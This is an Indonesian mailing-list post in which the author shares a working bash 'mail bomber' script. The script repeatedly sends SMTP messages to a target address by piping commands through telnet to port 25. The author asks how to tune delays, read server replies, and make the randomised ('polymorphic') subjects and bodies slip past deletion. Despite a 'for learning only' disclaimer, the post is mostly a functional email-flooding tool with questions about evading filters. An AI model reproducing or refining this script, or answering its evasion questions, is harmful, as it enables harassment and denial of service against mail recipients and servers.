Assalamualaikum,
Mo nanya' ttg pemrograman bash.
Disini saya baru mencoba membuat suatu mail bomber sederhanaaaa banget.
Pokoknya Uelek POLL!
Yang ingin saya tanyakan:
1) Bagaimana kita mengetahui (dari bash), telnet kita udah connected
apa masih trying.
2) Berapa sih delay yang tepat? untuk sleep.
3) Bagaimana kita dapat membaca hasil keluaran dari mail server tsb
(e.g Sender Ok, Relaying denied etc..etc)
4) Apa dengan mem-polymorphic Subject dan body udah cukup? (Biar
nggak gampang dihapus secara brutal gitu)
Makasih banyak ya.....
Wassalamualaikum.
--------------------------------------------------------------------------
#!/bin/bash
# Hei teman-teman ini cuman untuk tujuan belajar lho!!!
# Jangan digunakan yang nggak-enggak ya..... :)
usage() {
echo
echo "Cara pemakaian :"
echo "bomber [mail server] [filebodymessage] [from] [to]"
echo "By: Rizki Wicaksono"
echo
}
subject() {
echo "Ini subjectnya beda lho!!!" > sbj
echo "Apalagi yang ini pasti berbeda" >> sbj
echo "Tapi sayangnya kalo' nggak beda khan susah" >> sbj
echo "Dedicated to: My Lovely Friend in Electrical Engineering" >> sbj
echo "Masaksih bisa bikin mail bomber kayak ginian" >>sbj
echo "Wahh senengnya udah bisa bikin mail bomber" >>sbj
echo "Aku nggak tahu sebenernya yang harus ditulis disini apa?" >>sbj
echo "Buat Chayanku Chei di Elektro 99">>sbj
echo "Buat semua temen-temenku di Informatika 99">>sbj
echo "Makasih atas segala dukungan kalian" >>sbj
echo "Bingung euy! Mao nulis apa lagi ya?" >>sbj
echo "Iya deh, nulis terserah juga boleh" >>sbj
echo "Tapi jangan menjelek-jelekkan temen lho!">>sbj
echo "Eh disini dingin ya ngga kayak dikampung dulu" >>sbj
echo "Tapi ceweknya cakep-cakep euy!" >>sbj
}
# The Email Mutation Engine is HERE!!!!!!
mutation() {
cat temporary > engage
echo $RANDOM > /dev/null # Init Random Seed
BARIS=`expr $RANDOM % 16`
if test $BARIS -eq "0"; then
BARIS="4";
fi
echo "$BARIS p" > script.sed
# Mutate The Subject PART!!!! :)
echo "echo \"Subject: `sed -n -f script.sed sbj`\"" >> engage
echo "echo" >>engage
# Jumlah baris dalam file $FILE
JUM=`cat $FILE|wc -l`
JUM=`expr $JUM + 1`
# Nomer barisnya
echo $RANDOM > /dev/null # Init Random Seed
START=`expr $RANDOM % $JUM`
echo $RANDOM > /dev/null # init random seed
LAST=`expr $RANDOM % $JUM`
# Body dipilih dari baris n ke m, dari file $2
# n < m
if test $START -gt $LAST; then
echo "$LAST,$START p" > script.sed
else
echo "$START,$LAST p" > script.sed
fi
# Mutate the mail body
echo "sed -n -f script.sed $FILE" >> engage
cat temporary.last >> engage
}
if [ -z $4 ]; then
usage
exit 1
fi
# Makin the first part of polymorphic file
echo "echo \"helo there\"" > temporary
echo "echo \"mail from:$3\"" >> temporary
echo "echo \"rcpt to:$4\"" >>temporary
echo "echo \"data\"" >>temporary
echo "echo \"Date:`date`\"" >>temporary
echo "echo \"From:$3\"" >>temporary
echo "echo \"To:$4\"" >>temporary
# Makin the last part of polymorphic file
echo "echo \".\"" >>temporary.last
echo "sleep 1" >>temporary.last
echo "echo \"quit\"" >>temporary.last
# Makin the subject library file
subject
MAX=0
TOTAL=10
echo
export FILE=$2
while [ "$MAX" -lt "$TOTAL" ]; do
echo "Sending mail...`expr $MAX + 1`"
# Now, Mutate the mail!
mutation
# Engage the BOMB!
bash engage | telnet $1 25 >/dev/null 2>&1
# Increase the MAX Var
MAX="`expr $MAX + 1`"
done
echo "Success."
rm temporary temporary.last engage sbj script.sed
exit 0
http://www.indolinux.com - Nikmati Layanan Personal INDOLINUX ::
http://techscape.net/ - Webhosting: Dual T3 on Dual Pentium III 450Mhz
Only US$1.95/month -> CGI SSL 5MB Unlimited Traffic & Mail FP2000
-------------------------------------------------------------------
untuk berhenti kirim email ke [EMAIL PROTECTED]
untuk melihat peraturan kirim email ke [EMAIL PROTECTED]
arsip berada di http://www.mail-archive.com/[email protected]